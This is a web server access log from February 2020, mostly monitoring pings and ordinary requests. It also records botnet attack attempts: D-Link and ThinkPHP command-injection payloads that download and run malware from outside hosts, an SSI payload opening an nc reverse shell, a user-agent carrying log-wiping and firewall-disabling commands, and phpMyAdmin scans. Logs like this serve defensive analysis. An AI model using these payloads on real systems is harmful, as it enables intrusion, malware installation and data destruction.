212.91.246.72 - - [20/Feb/2020:18:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [20/Feb/2020:18:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [20/Feb/2020:18:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [20/Feb/2020:18:11:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
85.8.27.151 - - [20/Feb/2020:18:11:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:18:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.180.254 - - [20/Feb/2020:18:13:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [20/Feb/2020:18:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [20/Feb/2020:18:15:22 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [20/Feb/2020:18:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.254.127.160 - - [20/Feb/2020:18:19:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
191.254.127.160 - - [20/Feb/2020:18:19:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
191.254.127.160 - - [20/Feb/2020:18:19:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:18:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.156.247 - - [20/Feb/2020:18:21:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [20/Feb/2020:18:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [20/Feb/2020:18:23:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [20/Feb/2020:18:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.199.246.112 - - [20/Feb/2020:18:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
189.126.230.33 - - [20/Feb/2020:18:26:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:18:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.243.179.153 - - [20/Feb/2020:18:29:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [20/Feb/2020:18:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.43.39.30 - - [20/Feb/2020:18:35:07 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
208.43.39.30 - - [20/Feb/2020:18:35:07 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
208.43.39.30 - - [20/Feb/2020:18:35:07 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
208.43.39.30 - - [20/Feb/2020:18:35:07 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
208.43.39.30 - - [20/Feb/2020:18:35:08 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
208.43.39.30 - - [20/Feb/2020:18:35:08 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
212.91.246.72 - - [20/Feb/2020:18:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.211.182.217 - - [20/Feb/2020:18:44:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:18:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.204.234.33 - - [20/Feb/2020:18:47:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:18:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.79.144.147 - - [20/Feb/2020:18:54:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [20/Feb/2020:18:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.162.31 - - [20/Feb/2020:18:55:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
120.79.144.147 - - [20/Feb/2020:18:56:03 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
188.136.168.152 - - [20/Feb/2020:18:56:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:18:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:18:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [20/Feb/2020:18:58:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
37.49.226.137 - - [20/Feb/2020:18:58:24 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [20/Feb/2020:18:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.58.7.106 - - [20/Feb/2020:18:59:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:18:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.58.7.106 - - [20/Feb/2020:19:02:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:19:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.11.144.66 - - [20/Feb/2020:19:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:19:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [20/Feb/2020:19:10:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:19:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.39.182.241 - - [20/Feb/2020:19:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:19:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.128.72.137 - - [20/Feb/2020:19:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:19:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.110.67.10 - - [20/Feb/2020:19:22:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:19:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.206.61.177 - - [20/Feb/2020:19:25:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:19:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [20/Feb/2020:19:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:19:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.122.130 - - [20/Feb/2020:19:32:16 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [20/Feb/2020:19:32:17 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [20/Feb/2020:19:32:18 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [20/Feb/2020:19:32:18 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
134.175.122.130 - - [20/Feb/2020:19:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [20/Feb/2020:19:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.240 - - [20/Feb/2020:19:35:42 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [20/Feb/2020:19:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:19:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.167.138.60 - - [20/Feb/2020:19:40:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:19:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.231.162.178 - - [20/Feb/2020:19:41:16 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
